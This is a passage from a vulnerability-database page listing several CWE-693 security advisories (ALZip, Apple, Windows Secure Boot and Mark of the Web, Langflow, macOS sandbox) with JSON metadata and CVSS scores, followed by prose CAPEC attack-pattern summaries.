      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3735.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Allowlisted pickle loaders still permit code execution in current source"
}

GHSA-XC6X-XVX8-WQF4

Vulnerability from github – Published: 2025-12-03 09:31 – Updated: 2025-12-03 09:31
VLAI
Details

Protection Mechanism Failure vulnerability in ESTsoft ALZip on Windows allows SmartScreen bypass.This issue affects ALZip: from 12.01 before 12.29.

Severity
6.2 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T09:15:47Z",
    "severity": "MODERATE"
  },
  "details": "Protection Mechanism Failure vulnerability in ESTsoft ALZip on Windows allows SmartScreen bypass.This issue affects ALZip: from 12.01 before 12.29.",
  "id": "GHSA-xc6x-xvx8-wqf4",
  "modified": "2025-12-03T09:31:13Z",
  "published": "2025-12-03T09:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29864"
    },
    {
      "type": "WEB",
      "url": "https://altools.co.kr/product/ALZIP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XCXJ-2MHJ-X95H

Vulnerability from github – Published: 2026-05-11 21:31 – Updated: 2026-05-13 21:31
VLAI
Details

A validation issue was addressed with improved logic. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-43660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-11T21:19:01Z",
    "severity": "HIGH"
  },
  "details": "A validation issue was addressed with improved logic. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.",
  "id": "GHSA-xcxj-2mhj-x95h",
  "modified": "2026-05-13T21:31:59Z",
  "published": "2026-05-11T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43660"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127110"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127111"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127115"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127118"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127120"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XCXV-67V8-JC88

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

Secure Boot Security Feature Bypass Vulnerability

Severity
6.7 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-28919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Secure Boot Security Feature Bypass Vulnerability",
  "id": "GHSA-xcxv-67v8-jc88",
  "modified": "2024-04-09T18:30:27Z",
  "published": "2024-04-09T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28919"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-28919"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XF94-MPVP-R8X2

Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31
VLAI
Details

Windows Mark of the Web Security Feature Bypass Vulnerability

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-30050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T17:17:21Z",
    "severity": "MODERATE"
  },
  "details": "Windows Mark of the Web Security Feature Bypass Vulnerability",
  "id": "GHSA-xf94-mpvp-r8x2",
  "modified": "2024-05-14T18:31:05Z",
  "published": "2024-05-14T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30050"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30050"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFFC-QFH4-R9P6

Vulnerability from github – Published: 2026-09-11 00:31 – Updated: 2026-09-11 00:31
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.11.5 An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-76059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.11.5 An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.",
  "id": "GHSA-xffc-qfh4-r9p6",
  "modified": "2026-09-11T00:31:14Z",
  "published": "2026-09-11T00:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76059"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7286666"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XGC8-G7V4-9H8H

Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-03 21:34
VLAI
Details

This issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7, macOS Tahoe 26. An app may be able to break out of its sandbox.

Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-43330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-15T23:15:35Z",
    "severity": "HIGH"
  },
  "details": "This issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7, macOS Tahoe 26. An app may be able to break out of its sandbox.",
  "id": "GHSA-xgc8-g7v4-9h8h",
  "modified": "2025-11-03T21:34:32Z",
  "published": "2025-09-16T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43330"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125110"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125111"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Sep/53"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Sep/54"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.

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